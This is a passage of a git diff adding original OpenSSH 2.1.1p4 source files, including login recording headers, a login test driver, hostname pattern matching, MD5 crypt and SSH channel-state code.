MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/** + ** loginrec.h: platform-independent login recording and lastlog retrieval + **/ + +#include "includes.h" + +#include +#include +#include + +/* RCSID("$Id: loginrec.h,v 1.4 2000/06/27 01:18:27 djm Exp $"); */ + +/** + ** you should use the login_* calls to work around platform dependencies + **/ + +/* + * login_netinfo structure + */ + +union login_netinfo { + struct sockaddr sa; + struct sockaddr_in sa_in; + struct sockaddr_storage sa_storage; +}; + +/* + * * logininfo structure * + */ +/* types - different to utmp.h 'type' macros */ +/* (though set to the same value as linux, openbsd and others...) */ +#define LTYPE_LOGIN 7 +#define LTYPE_LOGOUT 8 + +/* string lengths - set very long */ +#define LINFO_PROGSIZE 64 +#define LINFO_LINESIZE 64 +#define LINFO_NAMESIZE 64 +#define LINFO_HOSTSIZE 256 + +struct logininfo { + char progname[LINFO_PROGSIZE]; /* name of program (for PAM) */ + int progname_null; + short int type; /* type of login (LTYPE_*) */ + int pid; /* PID of login process */ + int uid; /* UID of this user */ + char line[LINFO_LINESIZE]; /* tty/pty name */ + char username[LINFO_NAMESIZE]; /* login username */ + char hostname[LINFO_HOSTSIZE]; /* remote hostname */ + /* 'exit_status' structure components */ + int exit; /* process exit status */ + int termination; /* process termination status */ + /* struct timeval (sys/time.h) isn't always available, if it isn't we'll + * use time_t's value as tv_sec and set tv_usec to 0 + */ + unsigned int tv_sec; + unsigned int tv_usec; + union login_netinfo hostaddr; /* caller's host address(es) */ +}; /* struct logininfo */ + +/* + * login recording functions + */ + +/** 'public' functions */ + +/* construct a new login entry */ +struct logininfo *login_alloc_entry(int pid, const char *username, + const char *hostname, const char *line); +/* free a structure */ +void login_free_entry(struct logininfo *li); +/* fill out a pre-allocated structure with useful information */ +int login_init_entry(struct logininfo *li, int pid, const char *username, + const char *hostname, const char *line); +/* place the current time in a logininfo struct */ +void login_set_current_time(struct logininfo *li); + +/* record the entry */ +int login_login (struct logininfo *li); +int login_logout(struct logininfo *li); + +/** End of public functions */ + +/* record the entry */ +int login_write (struct logininfo *li); +int login_log_entry(struct logininfo *li); + +/* set the network address based on network address type */ +void login_set_addr(struct logininfo *li, const struct sockaddr *sa, + const unsigned int sa_size); + +/* + * lastlog retrieval functions + */ +/* lastlog *entry* functions fill out a logininfo */ +struct logininfo *login_get_lastlog(struct logininfo *li, const int uid); +/* lastlog *time* functions return time_t equivalent (uint) */ +unsigned int login_get_lastlog_time(const int uid); + +/* produce various forms of the line filename */ +char *line_fullname(char *dst, const char *src, int dstsize); +char *line_stripname(char *dst, const char *src, int dstsize); +char *line_abbrevname(char *dst, const char *src, int dstsize); + +#endif /* _HAVE_LOGINREC_H_ */ diff --git a/other/openssh-2.1.1p4/logintest.c b/other/openssh-2.1.1p4/logintest.c new file mode 100644 index 0000000..8860523 --- /dev/null +++ b/other/openssh-2.1.1p4/logintest.c @@ -0,0 +1,309 @@ +/* + * Copyright (c) 2000 Andre Lucas. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/** + ** logintest.c: simple test driver for platform-independent login recording + ** and lastlog retrieval + **/ + +#include "includes.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef HAVE_TIME_H +#include +#endif + +#include "loginrec.h" + +RCSID("$Id: logintest.c,v 1.6 2000/06/19 08:25:36 andre Exp $"); + + +#define PAUSE_BEFORE_LOGOUT 3 + +int nologtest = 0; +int compile_opts_only = 0; +int be_verbose = 0; + + +/* Dump a logininfo to stdout. Assumes a tab size of 8 chars. */ +void +dump_logininfo(struct logininfo *li, char *descname) +{ + /* yes I know how nasty this is */ + printf("struct logininfo %s = {\n\t" + "progname\t'%s'\n\ttype\t\t%d\n\t" + "pid\t\t%d\n\tuid\t\t%d\n\t" + "line\t\t'%s'\n\tusername\t'%s'\n\t" + "hostname\t'%s'\n\texit\t\t%d\n\ttermination\t%d\n\t" + "tv_sec\t%d\n\ttv_usec\t%d\n\t" + "struct login_netinfo hostaddr {\n\t\t" + "struct sockaddr sa {\n" + "\t\t\tfamily\t%d\n\t\t}\n" + "\t}\n" + "}\n", + descname, li->progname, li->type, + li->pid, li->uid, li->line, + li->username, li->hostname, li->exit, + li->termination, li->tv_sec, li->tv_usec, + li->hostaddr.sa.sa_family); +} + + +int +testAPI() +{ + struct logininfo *li1; + struct passwd *pw; + struct hostent *he; + struct sockaddr_in sa_in4; + char cmdstring[256], stripline[8]; + char username[32]; +#ifdef HAVE_TIME_H + time_t t0, t1, t2, logintime, logouttime; + char s_t0[64],s_t1[64],s_t2[64]; + char s_logintime[64], s_logouttime[64]; /* ctime() strings */ +#endif + + printf("**\n** Testing the API...\n**\n"); + + pw = getpwuid(getuid()); + strlcpy(username, pw->pw_name, sizeof(username)); + + /* gethostname(hostname, sizeof(hostname)); */ + + printf("login_alloc_entry test (no host info):\n"); + + /* FIXME fake tty more effectively - this could upset some platforms */ + li1 = login_alloc_entry((int)getpid(), username, NULL, ttyname(0)); + strlcpy(li1->progname, "OpenSSH-logintest", sizeof(li1->progname)); + + if (be_verbose) + dump_logininfo(li1, "li1"); + + printf("Setting host address info for 'localhost' (may call out):\n"); + if (! (he = gethostbyname("localhost"))) { + printf("Couldn't set hostname(lookup failed)\n"); + } else { + /* NOTE: this is messy, but typically a program wouldn't have to set + * any of this, a sockaddr_in* would be already prepared */ + memcpy((void *)&(sa_in4.sin_addr), (void *)&(he->h_addr_list[0][0]), + sizeof(struct in_addr)); + login_set_addr(li1, (struct sockaddr *) &sa_in4, sizeof(sa_in4)); + strlcpy(li1->hostname, "localhost", sizeof(li1->hostname)); + } + if (be_verbose) + dump_logininfo(li1, "li1"); + + if ((int)geteuid() != 0) { + printf("NOT RUNNING LOGIN TESTS - you are not root!\n"); + return 1; + } + + if (nologtest) + return 1; + + line_stripname(stripline, li1->line, sizeof(stripline)); + + printf("Performing an invalid login attempt (no type field)\n--\n"); + login_write(li1); + printf("--\n(Should have written errors to stderr)\n"); + +#ifdef HAVE_TIME_H + (void)time(&t0); + strlcpy(s_t0, ctime(&t0), sizeof(s_t0)); + t1 = login_get_lastlog_time(getuid()); + strlcpy(s_t1, ctime(&t1), sizeof(s_t1)); + printf("Before logging in:\n\tcurrent time is %d - %s\t" + "lastlog time is %d - %s\n", + (int)t0, s_t0, (int)t1, s_t1); +#endif + + printf("Performing a login on line %s ", stripline); +#ifdef HAVE_TIME_H + (void)time(&logintime); + strlcpy(s_logintime, ctime(&logintime), sizeof(s_logintime)); + printf("at %d - %s", (int)logintime, s_logintime); +#endif + printf("--\n"); + login_login(li1); + + snprintf(cmdstring, sizeof(cmdstring), "who | grep '%s '", + stripline); + system(cmdstring); + + printf("--\nPausing for %d second(s)...\n", PAUSE_BEFORE_LOGOUT); + sleep(PAUSE_BEFORE_LOGOUT); + + printf("Performing a logout "); +#ifdef HAVE_TIME_H + (void)time(&logouttime); + strlcpy(s_logouttime, ctime(&logouttime), sizeof(s_logouttime)); + printf("at %d - %s", (int)logouttime, s_logouttime); +#endif + printf("\nThe root login shown above should be gone.\n" + "If the root login hasn't gone, but another user on the same\n" + "pty has, this is OK - we're hacking it here, and there\n" + "shouldn't be two users on one pty in reality...\n" + "-- ('who' output follows)\n"); + login_logout(li1); + + system(cmdstring); + printf("-- ('who' output ends)\n"); + +#ifdef HAVE_TIME_H + t2 = login_get_lastlog_time(getuid()); + strlcpy(s_t2, ctime(&t2), sizeof(s_t2)); + printf("After logging in, lastlog time is %d - %s\n", (int)t2, s_t2); + if (t1 == t2) + printf("The lastlog times before and after logging in are the " + "same.\nThis indicates that lastlog is ** NOT WORKING " + "CORRECTLY **\n"); + else if (t0 != t2) + /* We can be off by a second or so, even when recording works fine. + * I'm not 100% sure why, but it's true. */ + printf("** The login time and the lastlog time differ.\n" + "** This indicates that lastlog is either recording the " + "wrong time,\n** or retrieving the wrong entry.\n" + "If it's off by less than %d second(s) " + "run the test again.\n", PAUSE_BEFORE_LOGOUT); + else + printf("lastlog agrees with the login time. This is a good thing.\n"); + +#endif + + printf("--\nThe output of 'last' shown next should have " + "an entry for root \n on %s for the time shown above:\n--\n", + stripline); + snprintf(cmdstring, sizeof(cmdstring), "last | grep '%s ' | head -3", + stripline); + system(cmdstring); + + printf("--\nEnd of login test.\n"); + + login_free_entry(li1); + + return 1; +} /* testAPI() */ + + +void +testLineName(char *line) +{ + /* have to null-terminate - these functions are designed for + * structures with fixed-length char arrays, and don't null-term.*/ + char full[17], strip[9], abbrev[5]; + + memset(full, '\0', sizeof(full)); + memset(strip, '\0', sizeof(strip)); + memset(abbrev, '\0', sizeof(abbrev)); + + line_fullname(full, line, sizeof(full)-1); + line_stripname(strip, full, sizeof(strip)-1); + line_abbrevname(abbrev, full, sizeof(abbrev)-1); + printf("%s: %s, %s, %s\n", line, full, strip, abbrev); + +} /* testLineName() */ + + +int +testOutput() +{ + printf("**\n** Testing linename functions\n**\n"); + testLineName("/dev/pts/1"); + testLineName("pts/1"); + testLineName("pts/999"); + testLineName("/dev/ttyp00"); + testLineName("ttyp00"); + + return 1; +} /* testOutput() */ + + +/* show which options got compiled in */ +void +showOptions(void) +{ + printf("**\n** Compile-time options\n**\n"); + + printf("login recording methods selected:\n"); +#ifdef USE_LOGIN + printf("\tUSE_LOGIN\n"); +#endif +#ifdef USE_UTMP + printf("\tUSE_UTMP (UTMP_FILE=%s)\n", UTMP_FILE); +#endif +#ifdef USE_UTMPX + printf("\tUSE_UTMPX (UTMPX_FILE=%s)\n", UTMPX_FILE); +#endif +#ifdef USE_WTMP + printf("\tUSE_WTMP (WTMP_FILE=%s)\n", WTMP_FILE); +#endif +#ifdef USE_WTMPX + printf("\tUSE_WTMPX (WTMPX_FILE=%s)\n", WTMPX_FILE); +#endif +#ifdef USE_LASTLOG + printf("\tUSE_LASTLOG (LASTLOG_FILE=%s)\n", LASTLOG_FILE); +#endif + printf("\n"); + +} /* showOptions() */ + + +int +main(int argc, char *argv[]) +{ + printf("Platform-independent login recording test driver\n"); + + if (argc == 2) { + if (strncmp(argv[1], "-i", 3) == 0) + compile_opts_only = 1; + else if (strncmp(argv[1], "-v", 3) == 0) + be_verbose=1; + } + + if (!compile_opts_only) { + if (be_verbose && !testOutput()) + return 1; + + if (!testAPI()) + return 1; + } + + showOptions(); + + return 0; +} /* main() */ + diff --git a/other/openssh-2.1.1p4/match.c b/other/openssh-2.1.1p4/match.c new file mode 100644 index 0000000..c4f54b2 --- /dev/null +++ b/other/openssh-2.1.1p4/match.c @@ -0,0 +1,141 @@ +/* + * + * match.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Thu Jun 22 01:17:50 1995 ylo + * + * Simple pattern matching, with '*' and '?' as wildcards. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: match.c,v 1.8 2000/06/20 01:39:42 markus Exp $"); + +#include "ssh.h" + +/* + * Returns true if the given string matches the pattern (which may contain ? + * and * as wildcards), and zero if it does not match. + */ + +int +match_pattern(const char *s, const char *pattern) +{ + for (;;) { + /* If at end of pattern, accept if also at end of string. */ + if (!*pattern) + return !*s; + + if (*pattern == '*') { + /* Skip the asterisk. */ + pattern++; + + /* If at end of pattern, accept immediately. */ + if (!*pattern) + return 1; + + /* If next character in pattern is known, optimize. */ + if (*pattern != '?' && *pattern != '*') { + /* + * Look instances of the next character in + * pattern, and try to match starting from + * those. + */ + for (; *s; s++) + if (*s == *pattern && + match_pattern(s + 1, pattern + 1)) + return 1; + /* Failed. */ + return 0; + } + /* + * Move ahead one character at a time and try to + * match at each position. + */ + for (; *s; s++) + if (match_pattern(s, pattern)) + return 1; + /* Failed. */ + return 0; + } + /* + * There must be at least one more character in the string. + * If we are at the end, fail. + */ + if (!*s) + return 0; + + /* Check if the next character of the string is acceptable. */ + if (*pattern != '?' && *pattern != *s) + return 0; + + /* Move to the next character, both in string and in pattern. */ + s++; + pattern++; + } + /* NOTREACHED */ +} + +/* + * Tries to match the host name (which must be in all lowercase) against the + * comma-separated sequence of subpatterns (each possibly preceded by ! to + * indicate negation). Returns -1 if negation matches, 1 if there is + * a positive match, 0 if there is no match at all. + */ + +int +match_hostname(const char *host, const char *pattern, unsigned int len) +{ + char sub[1024]; + int negated; + int got_positive; + unsigned int i, subi; + + got_positive = 0; + for (i = 0; i < len;) { + /* Check if the subpattern is negated. */ + if (pattern[i] == '!') { + negated = 1; + i++; + } else + negated = 0; + + /* + * Extract the subpattern up to a comma or end. Convert the + * subpattern to lowercase. + */ + for (subi = 0; + i < len && subi < sizeof(sub) - 1 && pattern[i] != ','; + subi++, i++) + sub[subi] = isupper(pattern[i]) ? tolower(pattern[i]) : pattern[i]; + /* If subpattern too long, return failure (no match). */ + if (subi >= sizeof(sub) - 1) + return 0; + + /* If the subpattern was terminated by a comma, skip the comma. */ + if (i < len && pattern[i] == ',') + i++; + + /* Null-terminate the subpattern. */ + sub[subi] = '\0'; + + /* Try to match the subpattern against the host name. */ + if (match_pattern(host, sub)) { + if (negated) + return -1; /* Negative */ + else + got_positive = 1; /* Positive */ + } + } + + /* + * Return success if got a positive match. If there was a negative + * match, we have already returned -1 and never get here. + */ + return got_positive; +} diff --git a/other/openssh-2.1.1p4/match.h b/other/openssh-2.1.1p4/match.h new file mode 100644 index 0000000..8eac0a5 --- /dev/null +++ b/other/openssh-2.1.1p4/match.h @@ -0,0 +1,18 @@ +#ifndef MATCH_H +#define MATCH_H + +/* + * Returns true if the given string matches the pattern (which may contain ? + * and * as wildcards), and zero if it does not match. + */ +int match_pattern(const char *s, const char *pattern); + +/* + * Tries to match the host name (which must be in all lowercase) against the + * comma-separated sequence of subpatterns (each possibly preceded by ! to + * indicate negation). Returns -1 if negation matches, 1 if there is + * a positive match, 0 if there is no match at all. + */ +int match_hostname(const char *host, const char *pattern, unsigned int len); + +#endif diff --git a/other/openssh-2.1.1p4/md5crypt.c b/other/openssh-2.1.1p4/md5crypt.c new file mode 100644 index 0000000..a9f0f26 --- /dev/null +++ b/other/openssh-2.1.1p4/md5crypt.c @@ -0,0 +1,159 @@ +/* + * ---------------------------------------------------------------------------- + * "THE BEER-WARE LICENSE" (Revision 42): + * wrote this file. As long as you retain this notice you + * can do whatever you want with this stuff. If we meet some day, and you think + * this stuff is worth it, you can buy me a beer in return. Poul-Henning Kamp + * ---------------------------------------------------------------------------- + */ + +/* + * Ported from FreeBSD to Linux, only minimal changes. --marekm + */ + +/* + * Adapted from shadow-19990607 by Tudor Bosman, tudorb@jm.nu + */ + +#include "config.h" + +#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) + +#include +#include +#include + +static unsigned char itoa64[] = /* 0 ... 63 => ascii - 64 */ + "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + +static char *magic = "$1$"; /* + * This string is magic for + * this algorithm. Having + * it this way, we can get + * get better later on + */ + +static void +to64(char *s, unsigned long v, int n) +{ + while (--n >= 0) { + *s++ = itoa64[v&0x3f]; + v >>= 6; + } +} + +int +is_md5_salt(const char *salt) +{ + return (!strncmp(salt, magic, strlen(magic))); +} + +/* + * UNIX password + * + * Use MD5 for what it is best at... + */ + +char * +md5_crypt(const char *pw, const char *salt) +{ + static char passwd[120], *p; + static const char *sp,*ep; + unsigned char final[16]; + int sl,pl,i,j; + MD5_CTX ctx,ctx1; + unsigned long l; + + /* Refine the Salt first */ + sp = salt; + + /* If it starts with the magic string, then skip that */ + if(!strncmp(sp,magic,strlen(magic))) + sp += strlen(magic); + + /* It stops at the first '$', max 8 chars */ + for(ep=sp;*ep && *ep != '$' && ep < (sp+8);ep++) + continue; + + /* get the length of the true salt */ + sl = ep - sp; + + MD5_Init(&ctx); + + /* The password first, since that is what is most unknown */ + MD5_Update(&ctx,pw,strlen(pw)); + + /* Then our magic string */ + MD5_Update(&ctx,magic,strlen(magic)); + + /* Then the raw salt */ + MD5_Update(&ctx,sp,sl); + + /* Then just as many characters of the MD5(pw,salt,pw) */ + MD5_Init(&ctx1); + MD5_Update(&ctx1,pw,strlen(pw)); + MD5_Update(&ctx1,sp,sl); + MD5_Update(&ctx1,pw,strlen(pw)); + MD5_Final(final,&ctx1); + for(pl = strlen(pw); pl > 0; pl -= 16) + MD5_Update(&ctx,final,pl>16 ? 16 : pl); + + /* Don't leave anything around in vm they could use. */ + memset(final,0,sizeof final); + + /* Then something really weird... */ + for (j=0,i = strlen(pw); i ; i >>= 1) + if(i&1) + MD5_Update(&ctx, final+j, 1); + else + MD5_Update(&ctx, pw+j, 1); + + /* Now make the output string */ + strcpy(passwd,magic); + strncat(passwd,sp,sl); + strcat(passwd,"$"); + + MD5_Final(final,&ctx); + + /* + * and now, just to make sure things don't run too fast + * On a 60 Mhz Pentium this takes 34 msec, so you would + * need 30 seconds to build a 1000 entry dictionary... + */ + for(i=0;i<1000;i++) { + MD5_Init(&ctx1); + if(i & 1) + MD5_Update(&ctx1,pw,strlen(pw)); + else + MD5_Update(&ctx1,final,16); + + if(i % 3) + MD5_Update(&ctx1,sp,sl); + + if(i % 7) + MD5_Update(&ctx1,pw,strlen(pw)); + + if(i & 1) + MD5_Update(&ctx1,final,16); + else + MD5_Update(&ctx1,pw,strlen(pw)); + MD5_Final(final,&ctx1); + } + + p = passwd + strlen(passwd); + + l = (final[ 0]<<16) | (final[ 6]<<8) | final[12]; to64(p,l,4); p += 4; + l = (final[ 1]<<16) | (final[ 7]<<8) | final[13]; to64(p,l,4); p += 4; + l = (final[ 2]<<16) | (final[ 8]<<8) | final[14]; to64(p,l,4); p += 4; + l = (final[ 3]<<16) | (final[ 9]<<8) | final[15]; to64(p,l,4); p += 4; + l = (final[ 4]<<16) | (final[10]<<8) | final[ 5]; to64(p,l,4); p += 4; + l = final[11] ; to64(p,l,2); p += 2; + *p = '\0'; + + /* Don't leave anything around in vm they could use. */ + memset(final,0,sizeof final); + + return passwd; +} + +#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */ diff --git a/other/openssh-2.1.1p4/md5crypt.h b/other/openssh-2.1.1p4/md5crypt.h new file mode 100644 index 0000000..2e018d8 --- /dev/null +++ b/other/openssh-2.1.1p4/md5crypt.h @@ -0,0 +1,30 @@ +/* + * ---------------------------------------------------------------------------- + * "THE BEER-WARE LICENSE" (Revision 42): + * wrote this file. As long as you retain this notice you + * can do whatever you want with this stuff. If we meet some day, and you think + * this stuff is worth it, you can buy me a beer in return. Poul-Henning Kamp + * ---------------------------------------------------------------------------- + */ + +/* + * Ported from FreeBSD to Linux, only minimal changes. --marekm + */ + +/* + * Adapted from shadow-19990607 by Tudor Bosman, tudorb@jm.nu + */ + +#ifndef _MD5CRYPT_H +#define _MD5CRYPT_H + +#include "config.h" + +#if defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) + +int is_md5_salt(const char *salt); +char *md5_crypt(const char *pw, const char *salt); + +#endif /* defined(HAVE_MD5_PASSWORDS) && !defined(HAVE_MD5_CRYPT) */ + +#endif /* MD5CRYPT_H */ diff --git a/other/openssh-2.1.1p4/mkinstalldirs b/other/openssh-2.1.1p4/mkinstalldirs new file mode 100755 index 0000000..614ef33 --- /dev/null +++ b/other/openssh-2.1.1p4/mkinstalldirs @@ -0,0 +1,40 @@ +#! /bin/sh +# mkinstalldirs --- make directory hierarchy +# Author: Noah Friedman +# Created: 1993-05-16 +# Public domain + +# $Id: mkinstalldirs,v 1.1 2000/05/20 05:33:45 damien Exp $ + +errstatus=0 + +for file +do + set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` + shift + + pathcomp= + for d + do + pathcomp="$pathcomp$d" + case "$pathcomp" in + -* ) pathcomp=./$pathcomp ;; + esac + + if test ! -d "$pathcomp"; then + echo "mkdir $pathcomp" + + mkdir "$pathcomp" || lasterr=$? + + if test ! -d "$pathcomp"; then + errstatus=$lasterr + fi + fi + + pathcomp="$pathcomp/" + done +done + +exit $errstatus + +# mkinstalldirs ends here diff --git a/other/openssh-2.1.1p4/mpaux.c b/other/openssh-2.1.1p4/mpaux.c new file mode 100644 index 0000000..6caae64 --- /dev/null +++ b/other/openssh-2.1.1p4/mpaux.c @@ -0,0 +1,46 @@ +/* + * + * mpaux.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sun Jul 16 04:29:30 1995 ylo + * + * This file contains various auxiliary functions related to multiple + * precision integers. + * +*/ + +#include "includes.h" +RCSID("$OpenBSD: mpaux.c,v 1.13 2000/06/20 01:39:42 markus Exp $"); + +#include +#include "getput.h" +#include "xmalloc.h" + +#include + +void +compute_session_id(unsigned char session_id[16], + unsigned char cookie[8], + BIGNUM* host_key_n, + BIGNUM* session_key_n) +{ + unsigned int host_key_bytes = BN_num_bytes(host_key_n); + unsigned int session_key_bytes = BN_num_bytes(session_key_n); + unsigned int bytes = host_key_bytes + session_key_bytes; + unsigned char *buf = xmalloc(bytes); + MD5_CTX md; + + BN_bn2bin(host_key_n, buf); + BN_bn2bin(session_key_n, buf + host_key_bytes); + MD5_Init(&md); + MD5_Update(&md, buf, bytes); + MD5_Update(&md, cookie, 8); + MD5_Final(session_id, &md); + memset(buf, 0, bytes); + xfree(buf); +} diff --git a/other/openssh-2.1.1p4/mpaux.h b/other/openssh-2.1.1p4/mpaux.h new file mode 100644 index 0000000..b05c14b --- /dev/null +++ b/other/openssh-2.1.1p4/mpaux.h @@ -0,0 +1,32 @@ +/* + * + * mpaux.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sun Jul 16 04:29:30 1995 ylo + * + * This file contains various auxiliary functions related to multiple + * precision integers. + */ + +/* RCSID("$OpenBSD: mpaux.h,v 1.7 2000/06/20 01:39:42 markus Exp $"); */ + +#ifndef MPAUX_H +#define MPAUX_H + +/* + * Computes a 16-byte session id in the global variable session_id. The + * session id is computed by concatenating the linearized, msb first + * representations of host_key_n, session_key_n, and the cookie. + */ +void +compute_session_id(unsigned char session_id[16], + unsigned char cookie[8], + BIGNUM * host_key_n, + BIGNUM * session_key_n); + +#endif /* MPAUX_H */ diff --git a/other/openssh-2.1.1p4/myproposal.h b/other/openssh-2.1.1p4/myproposal.h new file mode 100644 index 0000000..9611d89 --- /dev/null +++ b/other/openssh-2.1.1p4/myproposal.h @@ -0,0 +1,20 @@ +#define KEX_DEFAULT_KEX "diffie-hellman-group1-sha1" +#define KEX_DEFAULT_PK_ALG "ssh-dss" +#define KEX_DEFAULT_ENCRYPT "3des-cbc,blowfish-cbc,arcfour,cast128-cbc" +#define KEX_DEFAULT_MAC "hmac-sha1,hmac-md5,hmac-ripemd160@openssh.com" +#define KEX_DEFAULT_COMP "zlib,none" +#define KEX_DEFAULT_LANG "" + + +static char *myproposal[PROPOSAL_MAX] = { + KEX_DEFAULT_KEX, + KEX_DEFAULT_PK_ALG, + KEX_DEFAULT_ENCRYPT, + KEX_DEFAULT_ENCRYPT, + KEX_DEFAULT_MAC, + KEX_DEFAULT_MAC, + KEX_DEFAULT_COMP, + KEX_DEFAULT_COMP, + KEX_DEFAULT_LANG, + KEX_DEFAULT_LANG +}; diff --git a/other/openssh-2.1.1p4/nchan.c b/other/openssh-2.1.1p4/nchan.c new file mode 100644 index 0000000..cef5649 --- /dev/null +++ b/other/openssh-2.1.1p4/nchan.c @@ -0,0 +1,495 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: nchan.c,v 1.18 2000/06/20 01:39:42 markus Exp $"); + +#include "ssh.h" + +#include "buffer.h" +#include "packet.h" +#include "channels.h" +#include "nchan.h" + +#include "ssh2.h" +#include "compat.h" + +/* functions manipulating channel states */ +/* + * EVENTS update channel input/output states execute ACTIONS + */ +/* events concerning the INPUT from socket for channel (istate) */ +chan_event_fn *chan_rcvd_oclose = NULL; +chan_event_fn *chan_read_failed = NULL; +chan_event_fn *chan_ibuf_empty = NULL; +/* events concerning the OUTPUT from channel for socket (ostate) */ +chan_event_fn *chan_rcvd_ieof = NULL; +chan_event_fn *chan_write_failed = NULL; +chan_event_fn *chan_obuf_empty = NULL; +/* + * ACTIONS: should never update the channel states + */ +static void chan_send_ieof1(Channel *c); +static void chan_send_oclose1(Channel *c); +static void chan_send_close2(Channel *c); +static void chan_send_eof2(Channel *c); + +/* channel cleanup */ +chan_event_fn *chan_delete_if_full_closed = NULL; + +/* helper */ +static void chan_shutdown_write(Channel *c); +static void chan_shutdown_read(Channel *c); + +/* + * SSH1 specific implementation of event functions + */ + +static void +chan_rcvd_oclose1(Channel *c) +{ + debug("channel %d: rcvd oclose", c->self); + switch (c->istate) { + case CHAN_INPUT_WAIT_OCLOSE: + debug("channel %d: input wait_oclose -> closed", c->self); + c->istate = CHAN_INPUT_CLOSED; + break; + case CHAN_INPUT_OPEN: + debug("channel %d: input open -> closed", c->self); + chan_shutdown_read(c); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_CLOSED; + break; + case CHAN_INPUT_WAIT_DRAIN: + /* both local read_failed and remote write_failed */ + log("channel %d: input drain -> closed", c->self); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_CLOSED; + break; + default: + error("channel %d: protocol error: chan_rcvd_oclose for istate %d", + c->self, c->istate); + return; + } +} +static void +chan_read_failed_12(Channel *c) +{ + debug("channel %d: read failed", c->self); + switch (c->istate) { + case CHAN_INPUT_OPEN: + debug("channel %d: input open -> drain", c->self); + chan_shutdown_read(c); + c->istate = CHAN_INPUT_WAIT_DRAIN; + if (buffer_len(&c->input) == 0) { + debug("channel %d: input: no drain shortcut", c->self); + chan_ibuf_empty(c); + } + break; + default: + error("channel %d: internal error: we do not read, but chan_read_failed for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_ibuf_empty1(Channel *c) +{ + debug("channel %d: ibuf empty", c->self); + if (buffer_len(&c->input)) { + error("channel %d: internal error: chan_ibuf_empty for non empty buffer", + c->self); + return; + } + switch 